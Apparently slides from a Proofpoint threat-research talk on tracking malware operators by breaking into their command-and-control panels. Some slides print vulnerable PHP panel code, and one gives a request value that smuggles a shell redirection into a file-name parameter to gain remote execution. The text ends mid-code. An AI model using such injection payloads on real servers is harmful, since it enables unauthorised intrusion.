25 Techniques to Gather Threat Intel and Track Actors

Wayne Huang
VP Engineering
Proofpoint, Inc.
@waynehuang
whuang@proofpoint.com

Sun Huang
Senior Threat Researcher, Proofpoint, Inc.
shuang@proofpoint.com
About Us

➢ Wayne Huang
  • Was Founder and CEO of Armorize Technologies, and is now VP Engineering at Proofpoint
  • Presented at Hackfest 16, Hack.lu 16, VB 16, SteelCon 16, AusCERT 16, TROOPERS 16, RSA USA (07, 10, 15, 16), RSA APJ (15), BlackHat (10), DEFCON (10), SyScan (08, 09), OWASP (08, 09), Hacks in Taiwan (06, 07), WWW (03, 04), PHP (07) and DSN (04)

➢ Sun Huang
  • Senior threat Researcher at Proofpoint
  • Pentester with 10+ years experience, CTF enthusiast
  • Presented at Hackfest 16, Hack.lu 16, VB 16, SteelCon 16, AusCERT 16, TROOPERS 16, RSA USA 16 and RSA APJ 15
Agenda

- Showcase 25 methods for gathering threat intel for over 30 real cases
- Mostly against C&C servers operated by actors
- WHY: Actors carelessness, server misconfigurations, vulnerable panel code
- HOW: pentesting, application code review
- Intelligence gathering is key to an intelligence-based security strategy
- Conclusion
The story starts with us getting a whole bunch of forensics URLs from our sandboxes…

<table>
<thead>
<tr>
<th>HTTP Requests</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
</tr>
<tr>
<td><a href="http://nwheilicopters.com/steve/gate.php">http://nwheilicopters.com/steve/gate.php</a></td>
</tr>
</tbody>
</table>

… from these URLs, our investigation starts

<table>
<thead>
<tr>
<th>DNS Requests</th>
<th>IP Addresses</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hostname</td>
<td></td>
</tr>
</tbody>
</table>
Method 1 – Analytics beacons

- Win: Discovery of openly accessible traffic analytics
- Nurjax (Superfish shipped by notebook vendor)
Method 1 – Analytics beacons

Openly accessible traffic analytics (shipped by notebook vendor)

Free Tracker Account: 100216
Tracking: superfish.unmanaged[.]com
Total Visitors: 2,155,173
Counting since: 10 February 2016

<table>
<thead>
<tr>
<th>Sources</th>
<th>Searchengines</th>
<th>Referrers</th>
<th>Keywords</th>
<th>Continents</th>
<th>Countries</th>
<th>Computers</th>
<th>Resolutions</th>
<th>OS</th>
<th>OS Versions</th>
<th>Browsers</th>
<th>Browser Versions</th>
</tr>
</thead>
<tbody>
<tr>
<td>All Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Brazil</td>
<td>1,977,502</td>
<td>91.95%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Portugal</td>
<td>40,206</td>
<td>1.87%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United States</td>
<td>36,640</td>
<td>1.42%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Angola</td>
<td>12,297</td>
<td>0.57%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Mozambique</td>
<td>9,782</td>
<td>0.46%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Canada</td>
<td>5,270</td>
<td>0.25%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United Kingdom</td>
<td>5,002</td>
<td>0.23%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>China</td>
<td>3,311</td>
<td>0.15%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Argentina</td>
<td>3,219</td>
<td>0.15%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>France</td>
<td>2,877</td>
<td>0.14%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Today</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Brazil</td>
<td>123,474</td>
<td>74.11%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United States</td>
<td>173,768</td>
<td>10.43%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Canada</td>
<td>3,687</td>
<td>2.21%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Portugal</td>
<td>2,725</td>
<td>1.64%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United Kingdom</td>
<td>2,225</td>
<td>1.34%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Netherlands</td>
<td>1,873</td>
<td>1.12%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Angola</td>
<td>1,242</td>
<td>0.75%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Germany</td>
<td>974</td>
<td>0.58%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Mozambique</td>
<td>809</td>
<td>0.53%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>France</td>
<td>621</td>
<td>0.37%</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Method 2 – Open directories

- Win: collect tools, source code, targets, type of c2 panels in use, and unseen samples
- Cryptowall

Spam tool

Outlook email harvester

Index of /up

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1n.rar</td>
<td>13-Jan-2016</td>
<td>114M</td>
<td></td>
</tr>
<tr>
<td>2.rar</td>
<td>13-Jan-2016</td>
<td>191M</td>
<td></td>
</tr>
<tr>
<td>3.rar</td>
<td>13-Jan-2016</td>
<td>214M</td>
<td></td>
</tr>
<tr>
<td>4.rar</td>
<td>13-Jan-2016</td>
<td>198M</td>
<td></td>
</tr>
<tr>
<td>5.rar</td>
<td>13-Jan-2016</td>
<td>169M</td>
<td></td>
</tr>
<tr>
<td>from_emails.txt</td>
<td>27-Dec-2015</td>
<td>111K</td>
<td></td>
</tr>
<tr>
<td>jcode.txt</td>
<td>28-Dec-2015</td>
<td>3.9K</td>
<td></td>
</tr>
<tr>
<td>message.txt</td>
<td>27-Dec-2015</td>
<td>575</td>
<td></td>
</tr>
<tr>
<td>new_config.txt</td>
<td>28-Dec-2015</td>
<td>52K</td>
<td></td>
</tr>
<tr>
<td>nnn.rar</td>
<td>13-Jan-2016</td>
<td>187M</td>
<td></td>
</tr>
<tr>
<td>send.txt</td>
<td>27-Dec-2015</td>
<td>22K</td>
<td></td>
</tr>
<tr>
<td>send_scripts.txt</td>
<td>28-Dec-2015</td>
<td>753K</td>
<td></td>
</tr>
<tr>
<td>sendmail.rar</td>
<td>04-Jan-2016</td>
<td>1.2M</td>
<td></td>
</tr>
<tr>
<td>subi.txt</td>
<td>27-Dec-2015</td>
<td>102</td>
<td></td>
</tr>
<tr>
<td>urls.txt</td>
<td>27-Dec-2015</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

Index of /outlook/reports

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0/</td>
<td>14-Dec-2015</td>
<td>18:40</td>
<td></td>
</tr>
<tr>
<td>Canada(CA)/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>France(FR)/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spain(ES)/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United Kingdom(GB)/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United States(US)/</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>totalstat.txt</td>
<td>17-Dec-2015</td>
<td>01:37</td>
<td>3</td>
</tr>
</tbody>
</table>
## Method 2 -- Open directories

### Dridex 120: targeting UK

#### Index of /bases

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GB</td>
<td>04-Sep-2014 09:07</td>
<td>2.6G</td>
<td>-</td>
</tr>
<tr>
<td>email-filter_new.php</td>
<td>08-Sep-2014 14:23</td>
<td>3.7K</td>
<td>-</td>
</tr>
<tr>
<td>email-filter.php</td>
<td>06-Sep-2014 08:04</td>
<td>3.6K</td>
<td>-</td>
</tr>
<tr>
<td>filter.bt</td>
<td>04-Sep-2014 10:30</td>
<td>505</td>
<td>-</td>
</tr>
<tr>
<td>new-uk-2014.bt</td>
<td>04-Sep-2014 09:16</td>
<td>1.0G</td>
<td>-</td>
</tr>
<tr>
<td>new-mails.bt</td>
<td>07-Sep-2014 08:02</td>
<td>13G</td>
<td>-</td>
</tr>
<tr>
<td>new-mails_filtered.bt</td>
<td>08-Sep-2014 17:04</td>
<td>9.2G</td>
<td>-</td>
</tr>
<tr>
<td>stat.bt</td>
<td>07-Sep-2014 08:02</td>
<td>461M</td>
<td>-</td>
</tr>
<tr>
<td>stat_100k.bt</td>
<td>08-Sep-2014 14:24</td>
<td>6.2K</td>
<td>-</td>
</tr>
<tr>
<td>uk-june-2014.bt</td>
<td>04-Sep-2014 09:28</td>
<td>1.3G</td>
<td>-</td>
</tr>
<tr>
<td>uk-rent.bt</td>
<td>04-Sep-2014 10:40</td>
<td>7.4G</td>
<td>-</td>
</tr>
<tr>
<td>uk-resolv.bt</td>
<td>04-Sep-2014 10:59</td>
<td>2.0G</td>
<td>-</td>
</tr>
<tr>
<td>uk.bt</td>
<td>04-Sep-2014 11:44</td>
<td>4.7G</td>
<td>-</td>
</tr>
</tbody>
</table>

---

© 2017 Proofpoint, Inc.
Method 3 – Fuzzing common file names

▶ Win: Discover C2 functionalities
▶ Nurjax - stats.php

Total Distribuído: 6080063
Instalados Hoje: 401
Ativos Hoje: 3581
Total Ativo (15 dias): 238780
Total Ativo (3 dias): 114752
Total Ativo (2 dias): 95857

Últimos 30 dias
Data 13/04/2016: 401 installs
Data 12/04/2016: 6546 installs
Data 11/04/2016: 7477 installs
Data 10/04/2016: 6615 installs
Data 09/04/2016: 6805 installs
Data 08/04/2016: 6927 installs
Data 07/04/2016: 6570 installs
Data 06/04/2016: 5135 installs
Data 05/04/2016: 5403 installs
Data 04/04/2016: 5911 installs
Data 03/04/2016: 7297 installs
Data 02/04/2016: 7677 installs
Data 01/04/2016: 6597 installs
Data 31/03/2016: 6011 installs
Method 3 – Fuzzing common file names

- Win: C2 panel access
- UnkDownloader (targeting brazil)
Method 3 – Fuzzing common file names

- Win: C2 panel access
- UnkDownloader (targeting brazil)
Method 3 – Fuzzing common file names

- Win: C2 server access via webshells
- Loki Stealer (Pony) linux.php
Method 3 – Fuzzing common file names

- Win: C2 server access
- Loki Stealer (Pony)
Method 4 – Apache server-status

Loki PWS Stealer (Pony) + LOKI PLUS (Neutrino)

Apache Server Status for

Server Version: Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips
Server Build: Jan 11 2017 01:07:08

Current Time: Tuesday, 17-Jan-2017 01:34:37 EST
Restart Time: Wednesday, 11-Jan-2017 05:39:31 EST
Parent Server Generation: 2
Server uptime: 5 days 19 hours 55 minutes 6 seconds
Total accesses: 163931 - Total Traffic: 56.3 MB
CPU Usage: u:6.88 s:5.03 c:161.41 ca:0 - 0.044% CPU load
325 requests/sec - 117 B/second - 559 B/request
3 requests currently being processed, 9 idle workers

Scoreboard Key:
- "W" Waiting for Connection, "s" Starting up, "r" Reading Request,
- "W" Sending Reply, "r" Reappraise (read), "m" DNS Lookup,
- "c" Closing connection, "l" Logging, "g" Gracefully finishing,
- "" Idle cleanup of worker, "." Open slot with no current process

<table>
<thead>
<tr>
<th>Sv</th>
<th>PID</th>
<th>Acc</th>
<th>M</th>
<th>CPU</th>
<th>SS</th>
<th>Req</th>
<th>Conn</th>
<th>Child</th>
<th>Slot</th>
<th>Client</th>
<th>VHost</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>23437</td>
<td>0/251/14834</td>
<td>6.16</td>
<td>0</td>
<td>52</td>
<td>0.0</td>
<td>0.18</td>
<td>4.1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>19100</td>
<td>17015/10812</td>
<td>138.07</td>
<td>106821</td>
<td>14594</td>
<td>0.5</td>
<td>1.80</td>
<td>3.0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>29258</td>
<td>0/63/13764</td>
<td>1.63</td>
<td>0</td>
<td>372</td>
<td>0.0</td>
<td>0.04</td>
<td>4.5</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>21490</td>
<td>0/313/13174</td>
<td>7.29</td>
<td>24</td>
<td>23</td>
<td>0.0</td>
<td>0.09</td>
<td>4.5</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>11079</td>
<td>17/12073</td>
<td>0.14</td>
<td>47252</td>
<td>14832</td>
<td>0.5</td>
<td>0.00</td>
<td>3.0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>24960</td>
<td>0/189/13851</td>
<td>4.76</td>
<td>2</td>
<td>22</td>
<td>0.0</td>
<td>0.07</td>
<td>4.5</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Request:
GET /api/main/config/PwQDq929BSx_A_D_Ml_n_a.php
## Method 4 – Apache server-status

### Loki PWS Stealer(Pony) + LOKI PLUS(Neutrino)

![Apache server-status](image)

<table>
<thead>
<tr>
<th>Bot GUID</th>
<th>Last Online</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>7E9</td>
<td>2017-01-17 08:43:03</td>
<td>Set</td>
</tr>
<tr>
<td>077</td>
<td>2017-01-17 08:40:28</td>
<td>Set</td>
</tr>
<tr>
<td>4BD</td>
<td>2017-01-17 07:05:43</td>
<td>Set</td>
</tr>
<tr>
<td>C41</td>
<td>2017-01-17 07:04:04</td>
<td>Set</td>
</tr>
<tr>
<td>6A1</td>
<td>2017-01-17 02:33:10</td>
<td>Set</td>
</tr>
<tr>
<td>951</td>
<td>2017-01-16 18:45:30</td>
<td>Set</td>
</tr>
<tr>
<td>620</td>
<td>2017-01-16 11:54:25</td>
<td>Set</td>
</tr>
<tr>
<td>40E</td>
<td>2017-01-16 11:52:43</td>
<td>Set</td>
</tr>
<tr>
<td>03D</td>
<td>2017-01-16 07:40:13</td>
<td>Set</td>
</tr>
<tr>
<td>AE4</td>
<td>2017-01-16 05:55:00</td>
<td>Set</td>
</tr>
<tr>
<td>51E</td>
<td>2017-01-16 04:27:06</td>
<td>Set</td>
</tr>
</tbody>
</table>
### Method 4 – Apache server-status

**Loki PWS Stealer (Pony) + LOKI PLUS (Neutrino)**

<table>
<thead>
<tr>
<th>Machine Id</th>
<th>HWID</th>
<th>IP address</th>
<th>OS</th>
<th>Antivirus</th>
<th>Country</th>
<th>Version</th>
<th>Quality</th>
<th>Status</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>4e6</td>
<td>77-1.1208-496</td>
<td>128-12148-28</td>
<td>Win 7 (64-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>online</td>
<td>☐</td>
</tr>
<tr>
<td>11e</td>
<td>26-2.864-055d24669e3</td>
<td>37-12148-28</td>
<td>Win 7 (64-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>0b1</td>
<td>39-1402-4481</td>
<td>111-12148-28</td>
<td>Win XP (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>0d15</td>
<td>10-8400a1b</td>
<td>72-12148-28</td>
<td>Win 7 (64-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>095</td>
<td>66-6149004c9f7</td>
<td>86-12148-28</td>
<td>Win 7 (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>0700</td>
<td>43-6808-5a</td>
<td>72-12148-28</td>
<td>Win 7 (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>e4e</td>
<td>19-0-624c68bk-50</td>
<td>72-12148-28</td>
<td>Win 7 (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>8a9</td>
<td>4b6018f0-1a44</td>
<td>72-12148-28</td>
<td>Win 7 (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>093c</td>
<td>0-137168b97e8</td>
<td>12-1402-4480-59</td>
<td>Win 7 (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
<tr>
<td>205</td>
<td>72-12148-28</td>
<td>8-12148-28</td>
<td>Win XP (32-bit)</td>
<td>N/A</td>
<td>☐</td>
<td>3.9.4</td>
<td>☐</td>
<td>offline</td>
<td>☐</td>
</tr>
</tbody>
</table>
Method 4 – Apache server-status

> Win: Find C2 admin login panels via the Apache server-status module

> Cryptowall

```
<table>
<thead>
<tr>
<th>Srv</th>
<th>PID</th>
<th>Acc</th>
<th>M</th>
<th>CPU</th>
<th>SS</th>
<th>Req</th>
<th>Comm</th>
<th>Child</th>
<th>Slot</th>
<th>Client</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-1</td>
<td>24684</td>
<td>0/4307/49793</td>
<td>_</td>
<td>1242.38</td>
<td>6</td>
<td>0</td>
<td>0.28</td>
<td>24.83</td>
<td>127.0.0.1</td>
<td>localhost:POST/25mh28ar9v HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1-1</td>
<td>_</td>
<td>_</td>
<td>_</td>
<td>6.51</td>
<td>443120</td>
<td>0</td>
<td>0.00</td>
<td>24.05</td>
<td>::1</td>
<td>localhost OPTIONS * HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2-1</td>
<td>24686</td>
<td>0/4323/49828</td>
<td>_</td>
<td>1144.30</td>
<td>1</td>
<td>0</td>
<td>0.25</td>
<td>23.50</td>
<td>127.0.0.1</td>
<td>localhost:POST/q9jnuqd560am3k HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3-1</td>
<td>24687</td>
<td>0/4314/49753</td>
<td>_</td>
<td>1238.38</td>
<td>6</td>
<td>0</td>
<td>0.09</td>
<td>23.92</td>
<td>127.0.0.1</td>
<td>localhost:POST/18ytwtln91hu HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4-1</td>
<td>24688</td>
<td>0/4331/49837</td>
<td>_</td>
<td>1200.11</td>
<td>8</td>
<td>0</td>
<td>0.14</td>
<td>23.97</td>
<td>127.0.0.1</td>
<td>localhost:POST/5yawxsp9h74i HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5-1</td>
<td>24689</td>
<td>0/4330/49746</td>
<td>_</td>
<td>1157.84</td>
<td>4</td>
<td>0</td>
<td>0.13</td>
<td>23.54</td>
<td>127.0.0.1</td>
<td>localhost:POST/idnpp240 HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6-1</td>
<td>24690</td>
<td>0/4336/49854</td>
<td>_</td>
<td>1107.58</td>
<td>254</td>
<td>0</td>
<td>0.24</td>
<td>24.27</td>
<td>127.0.0.1</td>
<td>localhost:POST/ workniggawork_a01951b4e4ea9925ae188ae71dbe45a3?p=statisti</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7-1</td>
<td>_</td>
<td>_</td>
<td>_</td>
<td>0.01</td>
<td>443420</td>
<td>0</td>
<td>0.00</td>
<td>24.10</td>
<td>::1</td>
<td>localhost OPTIONS * HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>8-1</td>
<td>11395</td>
<td>0/21311/50027</td>
<td>_</td>
<td>5223.45</td>
<td>1</td>
<td>0</td>
<td>3.23</td>
<td>24.78</td>
<td>127.0.0.1</td>
<td>localhost:POST/z27pxsp0nik62 HTTP/1.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9-1</td>
<td>_</td>
<td>_</td>
<td>_</td>
<td>3899.33</td>
<td>451490</td>
<td>0</td>
<td>0.00</td>
<td>23.49</td>
<td>::1</td>
<td>localhost OPTIONS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10-1</td>
<td>_</td>
<td>_</td>
<td>_</td>
<td>113.35</td>
<td>451020</td>
<td>0</td>
<td>0.00</td>
<td>23.40</td>
<td>::1</td>
<td>localhost OPTIONS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>11-1</td>
<td>24562</td>
<td>0/4524/49990</td>
<td>W</td>
<td>1275.10</td>
<td>1</td>
<td>0</td>
<td>0.18</td>
<td>23.95</td>
<td>127.0.0.1</td>
<td>localhost:POST/0an</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

Login: 
Password: 

[Image of login form]
Method 5 – PHP error messages

- Win: Understanding the C2’s structure
- TROJAN Unknown Bot
Method 5 – PHP error messages

- Win: Learned structure, found control panel
- TROJAN Unknown Bot

```php
Warning: copy/class_database.php: failed to open stream: Permission denied on line 25
Warning: copy/koneksi.php: failed to open stream: Permission denied
Warning: copy/location.php: failed to open stream: Permission denied
Warning: copy/userstatus.php: failed to open stream: Permission denied
Warning: copy/proses.php: failed to open stream: Permission denied
Warning: copy/confirm.php: failed to open stream: Permission denied
Warning: copy/sdk.php: failed to open stream: Permission denied
Warning: copy/index.php: failed to open stream: Permission denied
Warning: copy/testwaktu.php: failed to open stream: Permission denied
Warning: copy/data.php: failed to open stream: Permission denied
Warning: copy/config.php: failed to open stream: Permission denied
Warning: copy/read.php: failed to open stream: Permission denied
Warning: copy/index.html: failed to open stream: Permission denied
```

```
2016-03-24 14:22:10 windows-BFE9FBFF000106CA
2016-02-18 22:42:02 Abby-0F8FBFF000306E4
2016-01-27 10:03:39 ST-BFEFBFF000206A7
2016-03-03 15:05:48 user-078FBFD0000623
2016-01-31 15:56:48 susan-0FABFBFF00040661
2016-02-03 02:53:35 VmScan-
michael-
2016-02-05 14:30:40 COMPUTER-0F8FBFF00006FB
2016-02-05 14:38:43 Administrator-0F8FBFF00006FB
2016-02-26 06:04:43 Administrator-
mike-
2016-02-26 16:29:38 Administrator-078FBFD00000F61
2016-02-26 16:29:38 admin-0FABFBFF000206D7
2016-02-29 17:24:22 kindsight-BFEFBFF0001067A
2016-03-16 02:03:07 John Doe-0FEBFBFF000306E4
2016-03-17 18:40:04
```
Win: Learned everything about them
Asprox: Marketplace with 1400+ registered sellers
WSO Webshells by unique domain: 3,027,423
  - gov:602+, mil:7+
WSO Webshells by unique filename: 7,966,903
SMTP accounts: 2,136,017
  - gov:4,000+, mil:1,574+ (Over 1,220 one military department)
FTP accounts: 585,549
  - gov:258
SSH-root: 1,236
SSH-user: 50,757
  - gov:92
Methods 1-6 summary

Our exploration starts with sandbox-extracted URLs…

- Method 1 – Analytics beacons
- Method 2 – Open directories
- Method 3 – Fuzzing filenames
- Method 4 – Apache server-status
- Method 5 – PHP error messages
- Method 6 – Python Django debug enabled
Progress: now we know the C2’S file structure…

… But how can we get authenticated into the panels?
Method 7 -- Weak passwords

➢ Win: C2 panel access
➢ Blackmoo_KRBanker (Targeting Korea)
Method 7 -- Weak passwords

- Win: C2 panel access
- Blackmoo_KRBanker (Targeting Korea)
Method 7 -- Weak passwords

- Win: C2 panel access
- Cerber/Sage ransomware
Method 7 -- Weak passwords

- Win: WSO Webshell, SPAM panel
- Cerber/Sage ransomware
Method 7 -- Weak passwords

- Win: WSO Webshell, SPAM panel
- Cerber/Sage ransomware
Method 8 -- Hardcoded passwords / download config file

- Win: FTP root access
- IRC bot (not well known)

---

```
bWyzGEm9uZ5jb20=
YmF1AbWVpZGEtem9uZ5jb20=
SmpbFpbmUyMw==
aXaJsaXR6ZWQub3Jn
NjA==
I2aJ5Ng==
Z2A==
NjA==
Cr:ncene
```
Method 8 -- Hardcoded passwords / download config file

- **Win: FTP root access**
- **IRC bot (not well known)**
Method 9 -- Insufficient authentication

- Win: C2 panel access
- Hancitor_Downloader
Method 9 -- Insufficient authentication

- Win: C2 panel access
- Hancitor_Downloader
Method 9 -- Insufficient authentication

- Win: C2 panel access
- Android Marcher malware
Method 9 -- Insufficient authentication

- Win: access victim statistics, execute C2 commands, etc.
- Android Marcher malware
Now that we’ve authenticated ourselves…

… can we expand laterally?
Method 10 -- Session Fixation

Win: access others panel on the same C2 server without authentication

Keybase (mostly operated by Nigerian actor)
  - Also has SQL injection, File upload vulnerabilities

```php
<?php
ob_start();
session_start();

if (!isset($_SESSION['logged_in'])
    || $_SESSION['logged_in'] !== true) {
    header('Location: login.php');
    exit;
}
?>
```
Method 10 -- Session Fixation

- Win: access others panel on the same C2 server without authentication
- Keybase (mostly operated by Nigerian actor)
  - Also has SQL injection, File upload vulnerabilities
Method 10 -- Session Fixation

- Keybase (mostly operated by Nigerian actor)
- Targeted business email compromise (BEC)
Methods 7-10 summary

- Method 7 – Weak passwords
- Method 8 – Hardcoded passwords
- Method 9 – Insufficient authentication
- Method 10 – Session fixation
Finding more vulnerabilities…

… via code review
Method 11 – Obtain source code

- Goal: obtain panel’s source code and review, learn panel structure
- Fuzz folder names
  - `/bn/` -> bn.zip / bn.rar / bn.tar.gz
  - `/panel/` -> panel.zip / panel.rar / panel.tar.gz
- Custom fuzzer script: collect all C2 URLs then try to fuzz
Method 12 – Cross site scripting

➢ Win: steal cookie and access C2 panel
➢ ISR stealer
### Method 12 -- Cross site scripting

<table>
<thead>
<tr>
<th>XSS targeted experiment</th>
<th>170 ISR Stealer panels on unique domain name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Duration</td>
<td>2 weeks</td>
</tr>
<tr>
<td>Successful trigger</td>
<td>Received 103 Cookies</td>
</tr>
<tr>
<td>Successful rate</td>
<td>60 %</td>
</tr>
<tr>
<td>Number of victims</td>
<td>66,284</td>
</tr>
<tr>
<td>Actors location</td>
<td>Mostly in Nigeria</td>
</tr>
</tbody>
</table>
Method 13 – Hidden backdoors

➢ Win: gain C2 server access
➢ Zeus Robot / Panther / GOZ
Method 14 – Remote command execution

- Win: root the C2 server
- Zeus / Citadel / ICEXI

```php
function fsarcCreate($archive, $files)
{
    error_reporting(E_ALL);
    if (strcasecmp(substr(strtoupper(gethostname()), 0, 7), 'windows') == 0)
    {
        $archive = str_replace('/', '\', $archive);
        foreach ($files as $k => $v)
        {
            $files[$k] = str_replace('/', '\', $files[$k]);
        }
    }
    $archive .= '.zip';
    $cli = 'zip -r -9 -q -S "' . $archive . '" ' . implode(' ', $files);
    exec($cli, $e, $r);
    if ($r != 0) echo "(error: $r) " . $cli . '<br/>';
    return $r ? false : $archive;
}
```
Method 14 – Remote command execution

Purpose:
To gain access to a C2 server
Zeus / Citadel / ICEXI
Method 14 – Remote command execution

PHP Version 5.4.32

System: Linux server.cyber-node-bp2.org 2.6.32-431.29.2.el6.x86_64 #1 SMP Tue Sep 9 21:36:05 UTC
Build Date: 19:18:05

Configure Command:

Server API: CGI/FastCGI
Virtual Directory Support: disabled
Configuration File (php.ini) Path: /usr/local/etc/php.ini

```
filesaction=1&files%5B%5D="/home/ckhtmxsf/public_html/images/ken/info.php" > /home/ckhtmxsf/public_html/images/ken/info.php %C3
```
Method 15 – SQL Injection

- Win: dump C2 panel’s database
- Android Opfake malware
Method 15 – SQL Injection

- Win: dump C2 panel’s database
- Android Opfake malware

```php
<?php
include("config.php");
mysql_query("SET NAMES 'utf8'");

$ip = $_SERVER['REMOTE_ADDR'];

$IMEI = $_GET['imei'];
$balance = $ip;

